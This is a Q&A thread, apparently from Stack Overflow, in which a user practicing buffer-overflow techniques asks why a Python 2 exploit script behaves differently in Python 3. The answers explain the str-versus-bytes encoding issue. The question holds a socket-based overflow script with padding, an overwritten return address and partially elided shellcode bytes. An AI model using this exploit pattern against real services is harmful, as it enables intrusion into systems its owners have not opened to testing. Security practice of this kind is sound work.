6

I'm practicing some buffer-overflow techniques and I came across an odd issue with sending socked data.

I have this two almost identical codes, except the fact that in Python3 code, I changed the sock.send to encode the string (in Python2 you don't need that)

Python2 code:

import socket,sys
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect ((sys.argv[1], 10000))

buffer = "A"*268
buffer += "\x70\xfb\x22\x00"

#PAYLOAD:
buffer += ("\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50\x52"
"\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48"
...
"\x72\x6f\x6a\x00\x59\x41\x89\xda\xff\xd5")

sock.send (buffer)
sock.close

Python 3 code:

import socket,sys
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect ((sys.argv[1], 10000))

buffer = "A"*268
buffer += "\x70\xfb\x22\x00"

#PAYLOAD:
buffer += ("\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50\x52"
"\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48"
...
"\x72\x6f\x6a\x00\x59\x41\x89\xda\xff\xd5")

sock.send (buffer.encode())
sock.close

I send the buffer and then check the EIP/SEP values with immunity debugger and I see that i'm getting a different values between Python2 code and Python3 code. How is that possible??

The buffer is the same in both of them so the EIP/SEP in the debugger should be the same.

In other words, from the server point of view(which gets the socket-data) looks like it gets a different data structure or something like that.

Any ideas?

Thanks.

user1641071
  • 387
  • 1
  • 7
  • 16
  • 1
    Try with `b"\x70\xfb\x22\x00"`, i.e. make sure you are using `bytes` instead of `str` and then remove the `encode()`. In Python 3, `str` is an unicode string and `encode()` encodes those using the default charset, hence you are not sending the bytes you specify. – dhke Apr 08 '15 at 12:02
  • You are right, thanks. if i place b before any str in that code, it works. I thought "encode()" will convert all of them into bytes. So how to "byte" all of them in one command, instead of b" in every single line? thanks – – user1641071 Apr 08 '15 at 13:15

2 Answers2

7

Your server and debugger are right - the buffer content is not the same.

In both python 2 and 3, if you write buffer = "A"*268, the type of buffer is str. However, what str represents is completely different in the two versions.

In python 2, a str is effectively an array of bytes. In python 3, it's a sequence of human readable characters, not bytes (what is called a "unicode string" in python 2)

If you further .encode(), you'll translate the sequence of characters into a sequence of bytes, using utf-8. This "changes the content" of your string, so to speak

What you probably wanted to do is buffer = b"A"*268, which will use bytes instead of str. You'll need to prefix all concatenated byte sequences by b, too

loopbackbee
  • 21,962
  • 10
  • 62
  • 97
  • You are right, thanks. if i place b before any str in that code, it works. I thought "encode()" will convert all of them into bytes. So how to "byte" all of them in one command, instead of b" in every single line? thanks – user1641071 Apr 08 '15 at 13:08
  • @user1641071 `encode` *does* convert the `str` into `bytes`- just not the bytes you want :) I don't think you can declare bytes without the `b`, nor "convert" if you declare them as `str` in the first place. But I might be wrong, you should probably ask a new question for that – loopbackbee Apr 08 '15 at 13:17
0

You can use six.b to make it compatible with both python2 and python3:

import six

...
sock.send(six.b(buffer))

https://six.readthedocs.io/#six.b

YueQi Li
  • 303
  • 4
  • 15